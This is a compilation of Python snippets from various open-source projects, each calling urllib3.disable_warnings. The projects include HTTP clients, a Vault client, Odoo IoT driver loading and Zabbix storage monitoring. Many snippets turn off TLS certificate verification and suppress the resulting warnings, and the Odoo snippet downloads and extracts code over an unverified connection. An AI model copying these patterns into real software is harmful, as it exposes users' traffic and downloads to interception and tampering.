Example #1
0
    def _setup_session(self, profile):
        """
        Set up a python-requests session for our usage.
        """
        session = FuturesSession(max_workers=self.MAX_WORKERS)

        session.proxies = self.PROXIES

        session.verify = not self.logger.settings['ssl_insecure'] and self.VERIFY
        if not session.verify:
            try:
                urllib3.disable_warnings()
            except AttributeError:
                self.logger.warning('Urllib3 is too old, warnings won\'t be disable')

        # defines a max_retries. It's mandatory in case a server is not
        # handling keep alive correctly, like the proxy burp
        a = requests.adapters.HTTPAdapter(max_retries=self.MAX_RETRIES)
        session.mount('http://', a)
        session.mount('https://', a)

        if self.TIMEOUT:
            session.timeout = self.TIMEOUT
        ## weboob only can provide proxy and HTTP auth options
        session.trust_env = False

        profile.setup_session(session)

        if self.logger.settings['save_responses']:
            session.hooks['response'].append(self._save)

        self.session = session

        session.cookies = WeboobCookieJar()
Example #2
0
def profile_device(dhcp_fingerprint, macaddr, vendor_class_id):
    data = {}
    data['dhcp_fingerprint'] = ','.join(map(str, dhcp_fingerprint))
    data['debug'] = 'on'
    data['mac'] = macaddr
    data['vendor_class_id'] = vendor_class_id
    print(f"Will attempt to profile using {dhcp_fingerprint}, {macaddr}, and {vendor_class_id}")

    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

    try:
        response = requests.post(fingerbank_url, 
        headers=headers, 
        params=params, 
        data=json.dumps(data))
    except requests.exceptions.HTTPError as e:
        log_fingerbank_error(e, response)
        return -1
 
    log_fingerbank_response(response.json())

     # If score is less than 30, there is very little confidence on the returned profile. Ignore it.
    if (response.json()['score'] < 30):
        return -1
    
    return response.json()['device']['name']
Example #3
0
def configure():
    if "cygwin" in system().lower():
        raise exception.CygwinEnvDetected()

    # https://urllib3.readthedocs.org
    # /en/latest/security.html#insecureplatformwarning
    try:
        import urllib3
        urllib3.disable_warnings()
    except (AttributeError, ImportError):
        pass

    # handle PLATFORMIO_FORCE_COLOR
    if str(os.getenv("PLATFORMIO_FORCE_COLOR", "")).lower() == "true":
        try:
            # pylint: disable=protected-access
            click._compat.isatty = lambda stream: True
        except:  # pylint: disable=bare-except
            pass

    # Handle IOError issue with VSCode's Terminal (Windows)
    click_echo_origin = [click.echo, click.secho]

    def _safe_echo(origin, *args, **kwargs):
        try:
            click_echo_origin[origin](*args, **kwargs)
        except IOError:
            (sys.stderr.write if kwargs.get("err") else
             sys.stdout.write)("%s\n" % (args[0] if args else ""))

    click.echo = lambda *args, **kwargs: _safe_echo(0, *args, **kwargs)
    click.secho = lambda *args, **kwargs: _safe_echo(1, *args, **kwargs)
Example #4
0
def download_zip(url: str) -> BytesIO:
    """Download data from url."""
    logger.warning('start chromium download.\n'
                   'Download may take a few minutes.')

    # disable warnings so that we don't need a cert.
    # see https://urllib3.readthedocs.io/en/latest/advanced-usage.html for more
    urllib3.disable_warnings()

    with urllib3.PoolManager() as http:
        # Get data from url.
        # set preload_content=False means using stream later.
        data = http.request('GET', url, preload_content=False)

        try:
            total_length = int(data.headers['content-length'])
        except (KeyError, ValueError, AttributeError):
            total_length = 0

        process_bar = tqdm(total=total_length)

        # 10 * 1024
        _data = BytesIO()
        for chunk in data.stream(10240):
            _data.write(chunk)
            process_bar.update(len(chunk))
        process_bar.close()

    logger.warning('\nchromium download done.')
    return _data
Example #5
0
def publish_plot(instrument, run_number, files, config=None):
    # read the configuration if one isn't provided
    if config is None:
        config = read_configuration()
    # verify that it has an attribute that matters
    try:
        config.publish_url
    except AttributeError: # assume that it is a filename
        config = read_configuration(config)

    run_number = str(run_number)
    url = _getURL(config.publish_url, instrument, run_number)
    print('posting to \'%s\'' % url)

    # these next 2 lines are explicity bad - and doesn't seem
    # to do ANYTHING
    # https://urllib3.readthedocs.org/en/latest/security.html
    import urllib3
    urllib3.disable_warnings()

    import requests
    request = requests.post(url, data={'username': config.publisher_username,
                                       'password': config.publisher_password},
                            files=files, verify=False)
    return request
Example #6
0
    def __init__(self, _url=None, token=None, _cert=None, _verify=True,
                 _timeout=30, _proxies=None, _allow_redirects=True,
                 _session=None):
        self.version = None
        self.vault_addr = os.environ.get('VAULT_ADDR')
        if not self.vault_addr:
            raise aomi.exceptions.AomiError('VAULT_ADDR is undefined or empty')

        if not self.vault_addr.startswith("http"):
            raise aomi.exceptions.AomiError('VAULT_ADDR must be a URL')

        ssl_verify = True
        if 'VAULT_SKIP_VERIFY' in os.environ:
            if os.environ['VAULT_SKIP_VERIFY'] == '1':
                import urllib3
                urllib3.disable_warnings()
                ssl_verify = False

        self.initial_token = None
        self.operational_token = None
        session = requests.Session()
        retries = Retry(total=5,
                        backoff_factor=0.5)
        adapter = HTTPAdapter(max_retries=retries)
        session.mount('https://', adapter)
        session.mount('http://', adapter)
        super(Client, self).__init__(url=self.vault_addr,
                                     verify=ssl_verify,
                                     session=session)
Example #7
0
def download_if_needed(url, filename):
    """
    Download from URL to filename unless filename already exists
    """
    if os.path.exists(filename):
        filenameExists=(filename, 'already exists')
        return filenameExists
    elif filename:
        import requests
        urllib3.disable_warnings()
        try:
            connection_pool = urllib3.PoolManager(retries=urllib3.Retry(5))
            resp = connection_pool.request('GET',url,timeout=urllib3.Timeout(total=5.0))
            f = open(filename, 'wb')
            f.write(resp.data)
            f.close()
            resp.release_conn()
            downloadSuccessful=('Downloading', filename)
            return(downloadSuccessful)
        except MaxRetryError as e:
            exception='Could not connect to server. Please check to make sure the URL is valid and try again.'
            return exception
        except LocationValueError as e:
            exception=str(e)
            return exception
    else:
        warningMessage='Please input a correct filename.'
        return warningMessage
Example #8
0
    def request(self, method, url, verify=False, random_ua=False, allow_post_redirects=False, *args, **kwargs):
        self.headers.update({'Accept-Encoding': 'gzip, deflate',
                             'User-Agent': (sickrage.app.user_agent, UserAgent().random)[random_ua]})

        if not verify:
            disable_warnings()

        if allow_post_redirects and method == 'POST':
            sickrage.app.log.debug('Retrieving redirect URL for {url}'.format(**{'url': url}))
            response = super(WebSession, self).request(method, url, allow_redirects=False)
            url = self.get_redirect_target(response) or url

        response = super(WebSession, self).request(method, url, verify=self._get_ssl_cert(verify), *args, **kwargs)
        if self.cloudflare:
            response = WebHelpers.cloudflare(self, response, **kwargs)

        try:
            # check web response for errors
            response.raise_for_status()
        except requests.exceptions.SSLError as e:
            if ssl.OPENSSL_VERSION_INFO < (1, 0, 1, 5):
                sickrage.app.log.info(
                    "SSL Error requesting url: '{}' You have {}, try upgrading OpenSSL to 1.0.1e+".format(
                        e.request.url, ssl.OPENSSL_VERSION))

            if sickrage.app.config.ssl_verify:
                sickrage.app.log.info(
                    "SSL Error requesting url: '{}', try disabling cert verification in advanced settings".format(
                        e.request.url))
        except Exception:
            pass

        return response
def cached_download(latitude, longitude, radius):
	cache_file_name = 'raw_data/mcdonalds_%s_%s_%d.json' % (latitude, longitude, radius)
	print('cache_file_name = ' + cache_file_name)
	url = "https://www.mcdonalds.com/googleapps/GoogleRestaurantLocAction.do?method=searchLocation&latitude=%s&longitude=%s&radius=%d&maxResults=100&country=ca&language=en-ca"% (latitude, longitude, radius)
	print('downloading from ' + url)
	if os.path.isfile(cache_file_name):
		with open(cache_file_name, 'rb') as cache_file:
			print('retrieved from cache')
			return json.load(cache_file)

	urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
	headers = {
		'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
		'accept-Encoding': 'gzip, deflate, br',
		'accept-Language': 'en-US,en;q=0.5',
		'connection': 'keep-alive',
		'DNT': '1',
		'Host': 'www.mcdonalds.com',
		'upgrade-insecure-requests': '1',
		'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0',
	}
	response = requests.get(url, headers=headers, verify=False)
	response = response.json()
	with open(cache_file_name, 'w') as cache_file:
		json.dump(response, cache_file)
	
	return response
Example #10
0
 def __init__(self, connect_str=None, config=None):
     connect_args = {}
     if(config.protocol):
        connect_args['protocol'] = config.protocol
     # if(config.requests_kwargs):
     #   connect_args["requests_kwargs"] = config.requests_kwargs
     if(config.auth_filename):
         urllib3.disable_warnings(urllib3.exceptions.SecurityWarning)
         f = open(config.auth_filename)
         creds = f.read().splitlines()
         if(connect_args.get("requests_kwargs")==None):
             connect_args["requests_kwargs"] = {}
         connect_args["requests_kwargs"]["auth"] = requests.auth.HTTPBasicAuth(creds[0], creds[1])
         f.close()
     if(config.verify_filename):
          urllib3.disable_warnings(urllib3.exceptions.SecurityWarning)
          if(connect_args.get("requests_kwargs")==None):
             connect_args["requests_kwargs"] = {}
          connect_args["requests_kwargs"]["verify"] = config.verify_filename
     #     'protocol': 'https',
     #     'requests_kwargs' : requests_kwargs
     # }
     try:
         self.engine = sqlalchemy.create_engine(connect_str, connect_args = connect_args)
     except: # TODO: bare except; but what's an ArgumentError?
         print(self.tell_format())
         raise
     self.dialect = self.engine.url.get_dialect()
     self.metadata = sqlalchemy.MetaData(bind=self.engine)
     self.name = self.assign_name(self.engine)
     self.session = self.engine.connect()
     self.connections[self.name] = self
     self.connections[str(self.metadata.bind.url)] = self
     Connection.current = self
Example #11
0
    def __init__(
            self, client_service, keyfile, keytab, server, realm,
            ldap_uri=None, auth_type=None):
        self.client_service = client_service
        self.keytab = keytab

        # Init creds immediately to make sure they are valid.  Creds
        # can also be re-inited by _auth_header to avoid expiry.
        #
        self.creds = self.init_creds()

        self.service_name = gssapi.Name('HTTP@%s' % (server,),
                                        gssapi.NameType.hostbased_service)
        self.server = server

        self.ikk = IPAKEMKeys({'server_keys': keyfile, 'ldap_uri': ldap_uri})

        self.kemcli = KEMClient(self._server_keys(server, realm),
                                self._client_keys())

        self.keystore = self._keystore(realm, ldap_uri, auth_type)

        # FIXME: Remove warnings about missing subjAltName for the
        #        requests module
        urllib3.disable_warnings()
Example #12
0
def reader(username, password, url, cmd, timeout = 10):
	""" Create a connection and return response if valid """

	headers = {'content-type': 'application/json-rpc'}
	payload = [{"jsonrpc": "2.0",
              "method": "cli",
              "params": {"cmd": cmd,
                        "version": 1},
              "id": 1}
              ]

	try:
		urllib3.disable_warnings()
		requests.packages.urllib3.disable_warnings()
		response = requests.post(url, data=json.dumps(payload), headers=headers, auth=(username, password), verify=False, timeout=timeout).json()

		if _isjson(response):
			if _hasValidParams(response):
				return response
			else:
				nagios_msg(3, "cisco command: " + response['error']['message'] )
		else:
			nagios_msg(3, "invalid or empty JSON object")

	except requests.exceptions.RequestException as e:
		nagios_msg(3, "Connection error: " + str(e))
Example #13
0
def cli(debug, config_dir, output, query):
    """CloudMunch CLI.\n
    This is a CLI tool for executing commands against CloudMunch API.
    """
    log = logging.getLogger('cloudmunch')

    stdoutHanlder = logging.StreamHandler()
    formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')
    stdoutHanlder.setFormatter(formatter)
    log.addHandler(stdoutHanlder)

    if debug:
        log.setLevel(logging.DEBUG)
        import httplib
        httplib.HTTPConnection.debuglevel = 1

        requests_log = logging.getLogger("requests.packages.urllib3")
        requests_log.setLevel(logging.DEBUG)
        requests_log.propagate = True
        if sys.version_info >= (2,7):
            logging.captureWarnings(True)
    else:
        log.setLevel(logging.NOTSET)
        urllib3.disable_warnings()
        if sys.version_info >= (2,7):
            logging.captureWarnings(False)


    log.info('Setting config dir to %s' % config_dir)
    log.info('Python version is %s - %s' % (sys.version, sys.hexversion))
    cloudmunch.config.config_dir = config_dir
    cloudmunch.config.credentials = cloudmunch.config.Credentials(cloudmunch.config.config_dir)
    cloudmunch.config.config = cloudmunch.config.Config(cloudmunch.config.config_dir)
Example #14
0
File: main.py Project: Vauxoo/odoo
    def load_drivers(self):
        subprocess.check_call("sudo mount -o remount,rw /", shell=True)
        subprocess.check_call("sudo mount -o remount,rw /root_bypass_ramdisks", shell=True)

        mac = subprocess.check_output("/sbin/ifconfig eth0 |grep -Eo ..\(\:..\){5}", shell=True).decode('utf-8').split('\n')[0]

        #response = requests.get(url, auth=(username, db_uuid.split('\n')[0]), stream=True)
        server = get_odoo_server_url()
        if server:
            urllib3.disable_warnings()
            pm = urllib3.PoolManager(cert_reqs='CERT_NONE')
            resp = False
            server = server + '/iot/get_drivers'
            try:
                resp = pm.request('POST',
                                   server,
                                   fields={'mac': mac})
            except Exception as e:
                _logger.error('Could not reach configured server')
                _logger.error('A error encountered : %s ' % e)
            if resp and resp.data:
                zip_file = zipfile.ZipFile(io.BytesIO(resp.data))
                zip_file.extractall(get_resource_path('hw_drivers', 'drivers'))
        subprocess.check_call("sudo service odoo restart", shell=True)
        subprocess.check_call("sudo mount -o remount,ro /", shell=True)
        subprocess.check_call("sudo mount -o remount,ro /root_bypass_ramdisks", shell=True)

        return "<meta http-equiv='refresh' content='20; url=http://" + get_ip() + ":8069/list_drivers'>"
Example #15
0
  def _CheckPythonVersionAndDisableWarnings(self):
    """Checks python version, and disables SSL warnings.

    urllib3 will warn on each HTTPS request made by older versions of Python.
    Rather than spamming the user, we print one warning message, then disable
    warnings in urllib3.
    """
    if self._checked_for_old_python_version:
      return
    if sys.version_info[0:3] < (2, 7, 9):
      logging.warn(
          u'You are running a version of Python prior to 2.7.9. Your version '
          u'of Python has multiple weaknesses in its SSL implementation that '
          u'can allow an attacker to read or modify SSL encrypted data. '
          u'Please update. Further SSL warnings will be suppressed. See '
          u'https://www.python.org/dev/peps/pep-0466/ for more information.')
      # Some distributions de-vendor urllib3 from requests, so we have to
      # check if this has occurred and disable warnings in the correct
      # package.
      if (hasattr(requests, u'packages') and
          hasattr(requests.packages, u'urllib3') and
          hasattr(requests.packages.urllib3, u'disable_warnings')):
        requests.packages.urllib3.disable_warnings()
      else:
        if urllib3 and hasattr(urllib3, u'disable_warnings'):
          urllib3.disable_warnings()
    self._checked_for_old_python_version = True
Example #16
0
    def http_session(self, retries=None):
        """Returns a :class:`requests.Session` object. A new session is
        created if it doesn't already exist."""
        http_session = getattr(self, '_http_session', None)
        # try to get the source definition if available
        source_definition = getattr(self, 'source_definition', {})

        if not retries:
            retries = source_definition.get('http_retries', 0)

        if not http_session:
            urllib3.disable_warnings()
            session = requests.Session()
            session.headers['User-Agent'] = USER_AGENT

            http_retry = CustomRetry(total=retries, status_forcelist=[500, 503],
                                     backoff_factor=.4)
            http_adapter = HTTPAdapter(max_retries=http_retry)
            session.mount('http://', http_adapter)

            http_retry = CustomRetry(total=retries, status_forcelist=[500, 503],
                                     backoff_factor=.4)
            http_adapter = HTTPAdapter(max_retries=http_retry)
            session.mount('https://', http_adapter)

            self._http_session = session

        return self._http_session
    def _doPushToHCP(self,hcpDeviceId,messageTypeIdToDevice,payload,dummyMode=False):
        try:
            urllib3.disable_warnings()
        except:
            print("urllib3.disable_warnings() failed - get a recent enough urllib3 version to avoid potential InsecureRequestWarning warnings! Will continue though.")

        # use with or without proxy
        if (config.proxy_url == ''):
            http = urllib3.PoolManager()
        else:
            http = urllib3.proxy_from_url(config.proxy_url)

        push_url='https://iotmms' + config.hcp_account_id + config.hcp_landscape_host + '/com.sap.iotservices.mms/v1/api/http/push/' + str(hcpDeviceId)
        self.info('push url:\n  ' + push_url)
        # use with authentication
        headers = urllib3.util.make_headers(user_agent=None)
        headers['Authorization'] = config.hcp_authorization_header
        headers['Content-Type'] = 'application/json;charset=utf-8'

        bodyObj = {
            'method' : self.method,
            'sender' : self.name,
            'messageType' : messageTypeIdToDevice,
            'messages' : [payload]
        }
	body = json.dumps(bodyObj)
        self.info('message body:\n  ' + body)
        if dummyMode:
            #self.info("Dummy mode is active, not pushing anything to HCP.")
            return
        try:
            r = http.urlopen('POST', push_url, body=body, headers=headers)
            self.info('push_to_hcp(): ' + str(r.status) + ' ' + r.data)
        except Exception as e:
            self.info(str(e))
def _build_cluster_configs(cluster_list):
    cluster_configs = []
    for cluster in cluster_list:
        username, password, verify_ssl = _get_cluster_auth_data(cluster)

        if cluster in g_cluster_configs:
            cluster_name, isi_sdk, api_client, version = \
                    g_cluster_configs[cluster]
        else:
            if verify_ssl is False:
                urllib3.disable_warnings()
            try:
                isi_sdk, api_client, version = \
                        isi_sdk_utils.configure(
                                cluster, username, password, verify_ssl)
            except RuntimeError as exc:
                print >> sys.stderr, "Failed to configure SDK for " \
                        "cluster %s. Exception raised: %s" \
                        % (cluster, str(exc))
                sys.exit(1)
            print "Configured %s as version %d cluster, using SDK %s." \
                    % (cluster, int(version), isi_sdk.__name__)
            cluster_name = \
                    _query_cluster_name(cluster, isi_sdk, api_client)
            g_cluster_configs[cluster] = \
                    cluster_name, isi_sdk, api_client, version

        cluster_config = \
                ClusterConfig(
                        cluster, cluster_name, version, isi_sdk, api_client)
        cluster_configs.append(cluster_config)

    return cluster_configs
Example #19
0
    def request(self, method, url, headers, post_data=None,  **kwargs):
        import urllib3
        from urllib3.util.retry import Retry
        urllib3.disable_warnings()

        retries = Retry(total=False, connect=None, read=None, redirect=None)

        pool_kwargs = {}
        if self._verify_ssl_certs:
            pool_kwargs['cert_reqs'] = 'CERT_REQUIRED'
            pool_kwargs['ca_certs'] = os.path.join(
                os.path.dirname(os.path.dirname(os.path.abspath(__file__))), 'data/ca-certificates.crt')

        if self._allow_redirect:
            kwargs['redirect'] = True
        else:
            kwargs['redirect'] = False

        # 如果是长连接模式
        if self._conn_pool:
            global conn_pool
            if not conn_pool:
                conn_pool = urllib3.PoolManager(num_pools=max(100, self._conn_pool), maxsize=max(100, self._conn_pool), **pool_kwargs)
            conn = conn_pool
        else:
            conn = urllib3.PoolManager(**pool_kwargs)

        result = conn.request(method=method, url=url, body=post_data, headers=headers, timeout=self._timeout, retries=retries, **kwargs)

        self.content, self.code, self.headers = result.data, result.status, result.headers

        return self.content, self.code, self.headers
Example #20
0
    def download_distro(self):
        """
        Download the distribution from self.distro_url and extract it to self.distro_path
        """
        if self.verbose >= 2:
            print("attempting to download distribution from %s and extract to %s " %
                  (self.distro_url, self.distro_path))

        tmp_distro_zip = '/tmp/distro.zip'
        tmp_unzipped_location = '/tmp/distro_unzipped'
        downloader = urllib3.PoolManager(cert_reqs='CERT_NONE')

        # disabling warnings to prevent scaring the user with InsecureRequestWarning
        urllib3.disable_warnings()

        downloaded_distro = downloader.request('GET', self.distro_url)
        with open(tmp_distro_zip, 'wb') as f:
            f.write(downloaded_distro.data)

        downloaded_distro.release_conn()

        # after the .zip is extracted we want to rename it to be the distro_path which may have
        # been given by the user
        distro_zip = zipfile.ZipFile(tmp_distro_zip, 'r')
        distro_zip.extractall(tmp_unzipped_location)
        unzipped_distro_folder = os.listdir(tmp_unzipped_location)

        # if the distro_path already exists, we wont overwrite it and just continue hoping what's
        # there is relevant (and maybe already put there by this tool earlier)
        try:
            os.rename(tmp_unzipped_location + "/" + unzipped_distro_folder[0], self.distro_path)
        except OSError as e:
            print(e)
            print("Unable to move extracted files from %s to %s. Using whatever bits are already there" %
                  (tmp_unzipped_location, self.distro_path))
Example #21
0
def get_external_ip_address():
    """
    Get the IP address of this machine as seen from the outside world.  THis
    function is primarily used during various internal testing of the Yombo
    Gateway.  This information is reported to the Yombo Service, however, the
    Yombo Service already knows you're IP address during the process of
    downloading configuration files.

    Yombo servers will only use this information if server "getpeer.ip()" function
    results in a private IP address.  See: http://en.wikipedia.org/wiki/Private_network
    This assists in Yombo performing various tests internally, but still providing
    an ability to do further tests.

    Gives Yombo servers a hint of your external ip address from your view. This
    should be the same as what Yombo servers see when you connect.

    This is called only once during the startup phase.  Calling this function too
    often can result in the gateway being blocked by whatismyip.org

    .. warning::

       This is 100% blocking code. A replacement will be coming soon.

    :return: An ip address
    :rtype: string
    """
    import urllib3
    urllib3.disable_warnings()  # just getting client IP address from outside view. Not a big issue here.
    http = urllib3.PoolManager()
    r = http.request("GET", "https://yombo.net/tools/clientip.php")
    return r.data.strip()
Example #22
0
 def test_disable_warnings(self):
     with warnings.catch_warnings(record=True) as w:
         clear_warnings()
         warnings.warn('This is a test.', InsecureRequestWarning)
         assert len(w) == 1
         disable_warnings()
         warnings.warn('This is a test.', InsecureRequestWarning)
         assert len(w) == 1
Example #23
0
 def test_disable_warnings(self):
     with warnings.catch_warnings(record=True) as w:
         clear_warnings()
         warnings.warn("This is a test.", InsecureRequestWarning)
         self.assertEqual(len(w), 1)
         disable_warnings()
         warnings.warn("This is a test.", InsecureRequestWarning)
         self.assertEqual(len(w), 1)
Example #24
0
    def __init__(self, config):

        try:
            urllib3.disable_warnings()
        except:
            pass

        # preload any registries necessary
        if "client" in config:

            if "registry_preload" in config["client"]:
                mplane.model.preload_registry(
                    config["client"]["registry_preload"])

            if "registry_uri" in config["client"]:
                registry_uri = config["client"]["registry_uri"]
            else:
                registry_uri = None
        else:
            registry_uri = None

        # load default registry
        mplane.model.initialize_registry(registry_uri)

        super().__init__()
        tls_state = mplane.tls.TlsState(config)
        self._defaults = {}
        self._when = None

        # don't print tracebacks by default
        self._print_tracebacks = False

        # default workflow is client-initiated
        # FIXME this should be boolean instead
        self._workflow = "client-initiated"

        if "client" in config:
            if "workflow" in config["client"]:
                self._workflow = config["client"]["workflow"]

        if self._workflow == "component-initiated":
            self._client = mplane.client.HttpListenerClient(config=config,
                                                            tls_state=tls_state)
        elif self._workflow == "client-initiated":
            self._client = mplane.client.HttpInitiatorClient(config=config,
                                                             tls_state=tls_state)

        else:
            raise ValueError("workflow setting in " + args.CONF +
                             " can only be 'client-initiated' or \
                             'component-initiated'")

        if "client" in config and self._workflow != "component-initiated":
            if "default-url" in config["client"]:
                self.do_seturl(config["client"]["default-url"])

            if "capability-url" in config["client"]:
                self.do_getcap(config["client"]["capability-url"])
Example #25
0
def test_https_big_download(run_servefile, datadir):
    # test with about 10 mb of data
    data = "x" * (10 * 1024 ** 2)
    p = datadir({'testfile': data}) / 'testfile'
    run_servefile(['--ssl', str(p)])
    time.sleep(0.2)  # time for generating ssl certificates

    urllib3.disable_warnings()
    check_download(data, protocol='https', verify=False)
Example #26
0
def disableInsecureRequestWarning():
    try:
        try:
            urllib3 = requests.packages.urllib3
        except AttributeError:
            import urllib3    
        urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    except Exception as e:
        ERROR('无法禁用 InsecureRequestWarning ,原因:%s', e)
Example #27
0
def ObtainClient():
    connection_policy = documents.ConnectionPolicy()
    connection_policy.SSLConfiguration = documents.SSLConfiguration()
    # Try to setup the cacert.pem
    # connection_policy.SSLConfiguration.SSLCaCerts = CaCertPath
    # Else, disable verification
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    connection_policy.SSLConfiguration.SSLCaCerts = False

    return cosmos_client.CosmosClient(HOST, {'masterKey': MASTER_KEY}, connection_policy)
def main():

    urllib3.disable_warnings()
    music = '/home/netman/project/music'
    os.chdir(music)
    songs = sorted(os.listdir(music))
    print '''THANKS FOR USING WEATHER ADAPTIVE MUSIC PLAYER
          TAGS : SLOW, MEDIUM, FAST
    '''
    add_tags(songs)
Example #29
0
def get_github_release(user, name, release='latest'):
    try:
        urllib3.disable_warnings()
        user_agent = {'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.76 Safari/537.36'}
        http = urllib3.PoolManager(headers=user_agent)
        r = http.request('GET', 'https://api.github.com/repos/%s/%s/releases/%s' % ( str(user), str(name), str(release) ))
        return json.loads(r.data.decode('utf-8'))
    except Exception as e:
        print(e)
        return None
 def __init__(self, config_path=None, config_dict=None):
     self.session = None
     self.config = CONFIG_DEFAULT.copy()
     self.config_checked = False
     self.load_config(config_path)
     if config_dict:
         self.update_config(config_dict)
     if not self.config['VERIFY_SSL']:
         import urllib3
         urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
Example #31
0
def test_dataplane_api(dataplane_api):
    api = dataplane_api()
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

    # Create an asset

    print("Creating an asset in the dataplane")

    create_asset_response = api.create_asset()
    assert create_asset_response.status_code == 200
    asset = create_asset_response.json()
    asset_id = asset["AssetId"]

    print("Successfully created asset in the dataplane: {asset}".format(
        asset=asset))

    # Add metadata to the asset

    print("Adding nonpaginated metadata to asset: {asset}".format(
        asset=asset_id))

    nonpaginated_post_response = api.post_metadata(
        asset_id, session_nonpaginated_results)
    assert nonpaginated_post_response.status_code == 200
    nonpaginated_post_results = nonpaginated_post_response.json()
    print("Successfully stored nonpaginated results for: {asset}".format(
        asset=asset_id))
    print(nonpaginated_post_results)

    print("Adding paginated metadata to asset: {asset}".format(asset=asset_id))

    pages_stored = 0
    while 2 > pages_stored:
        store_page_response = api.post_metadata(asset_id,
                                                session_paginated_results,
                                                paginate=True)
        assert store_page_response.status_code == 200
        print("Successfully stored a page of results")
        pages_stored += 1

    paginated_post_response = api.post_metadata(asset_id,
                                                session_paginated_results,
                                                paginate=True,
                                                end=True)
    assert paginated_post_response.status_code == 200
    paginated_post_results = paginated_post_response.json()
    print("Successfully stored paginated results for: {asset}".format(
        asset=asset_id))
    print(paginated_post_results)

    # TODO: This test is currently broken. Seems to be a real issue with the API that needs looked into.

    # Retrieve all metadata from the asset

    print("Retrieving all metadata for the asset: {asset}".format(
        asset=asset_id))

    cursor = None

    more_results = True
    while more_results:
        retrieve_metadata_response = api.get_all_metadata(asset_id, cursor)
        assert retrieve_metadata_response.status_code == 200
        retrieved_metadata = retrieve_metadata_response.json()
        print(retrieved_metadata)
        if "cursor" in retrieved_metadata:
            cursor = retrieved_metadata["cursor"]
        else:
            more_results = False
    print("Successfully retrieved all metadata for asset: {asset}".format(
        asset=asset_id))

    # Retrieve specific metadata from the asset

    print("Retrieving sample metadata for the asset: {asset}".format(
        asset=asset_id))

    retrieve_single_metadata_response = api.get_single_metadata_field(
        asset_id, session_nonpaginated_results)
    assert retrieve_single_metadata_response.status_code == 200

    retrieved_single_metadata = retrieve_single_metadata_response.json()
    print("Retrieved {operator} results for asset: {asset}".format(
        operator=session_nonpaginated_results["OperatorName"], asset=asset_id))
    print(retrieved_single_metadata)

    # Delete specific metadata

    print("Deleting specific metadata for the asset: {asset}".format(
        asset=asset_id))
    delete_metadata_response = api.delete_single_metadata_field(
        asset_id, session_nonpaginated_results)
    assert delete_metadata_response.status_code == 200
    deleted_metadata = delete_metadata_response.json()
    print("Successfully deleted metadata field: {operator} for asset: {asset}".
          format(operator=session_nonpaginated_results["OperatorName"],
                 asset=asset_id))
    print(deleted_metadata)

    # Delete entire asset

    print("Deleting the asset from the dataplane")
    delete_asset_response = api.delete_asset(asset_id)
    assert delete_asset_response.status_code == 200
    deleted_asset = delete_asset_response.text
    print(deleted_asset)

    print("Dataplane API tests complete")
"""

from urllib3 import disable_warnings
from urllib3.exceptions import InsecureRequestWarning, HTTPError

import yaml as yaml_tool
from kubernetes import client
from kubernetes.client.rest import ApiException

from hackathon.constants import HEALTH, HEALTH_STATUS, K8S_DEPLOYMENT_STATUS
from .service_adapter import ServiceAdapter

from .errors import DeploymentError, ServiceError, StatefulSetError, PVCError

__all__ = ["K8SServiceAdapter"]
disable_warnings(InsecureRequestWarning)


class K8SServiceAdapter(ServiceAdapter):
    def __init__(self, api_url, token, namespace):
        configuration = client.Configuration()
        configuration.host = api_url
        configuration.api_key['authorization'] = 'bearer ' + token
        # FIXME import ca cert file?
        configuration.verify_ssl = False

        self.namespace = namespace
        self.api_url = api_url
        self.api_client = client.ApiClient(configuration)
        super(K8SServiceAdapter, self).__init__(self.api_client)
def pure_host_monitoring():
    try:
        '''Get the argument from Zabbix'''
        ip = str(sys.argv[2])  #IP of the Pure Storage Array
        token = str(sys.argv[3])  #API Token
        hostname = str(sys.argv[4])  #Host Name
        host = str(sys.argv[5])  #Host name (for the sender)
        zabbixIP = str(
            sys.argv[6])  #Zabbix Proxy or Server IP (for the sender)
        '''
        Disable the SSL Warning from the output
        '''
        urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
        '''Get data'''
        arrayConnect = purestorage.FlashArray(ip, api_token=token)
        hostMonitoring = arrayConnect.get_host(host=hostname, action="monitor")
        '''Will disable the output to console'''
        FNULL = open(os.devnull, 'w')
        '''Sending data'''
        if "input_per_sec" in hostMonitoring:
            arrayInputPerSec = str(hostMonitoring["input_per_sec"])
            subprocess.call([
                "zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
                "pure.host.input.per.second[" + hostname + "]", "-o",
                arrayInputPerSec
            ],
                            stdout=FNULL,
                            stderr=subprocess.STDOUT)
        if "output_per_sec" in hostMonitoring:
            arrayOutputPerSec = str(hostMonitoring["output_per_sec"])
            subprocess.call([
                "zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
                "pure.host.output.per.second[" + hostname + "]", "-o",
                arrayOutputPerSec
            ],
                            stdout=FNULL,
                            stderr=subprocess.STDOUT)
        if "reads_per_sec" in hostMonitoring:
            arrayReadPerSec = str(hostMonitoring["reads_per_sec"])
            subprocess.call([
                "zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
                "pure.host.read.per.sec[" + hostname + "]", "-o",
                arrayReadPerSec
            ],
                            stdout=FNULL,
                            stderr=subprocess.STDOUT)
        if "san_usec_per_read_op" in hostMonitoring:
            arraySanUsecPerReadOp = str(hostMonitoring["san_usec_per_read_op"])
            subprocess.call([
                "zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
                "pure.host.san.usec.per.read[" + hostname + "]", "-o",
                arraySanUsecPerReadOp
            ],
                            stdout=FNULL,
                            stderr=subprocess.STDOUT)
        if "san_usec_per_write_op" in hostMonitoring:
            arraySanUsecPerWriteOp = str(
                hostMonitoring["san_usec_per_write_op"])
            subprocess.call([
                "zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
                "pure.host.san.usec.per.write[" + hostname + "]", "-o",
                arraySanUsecPerWriteOp
            ],
                            stdout=FNULL,
                            stderr=subprocess.STDOUT)
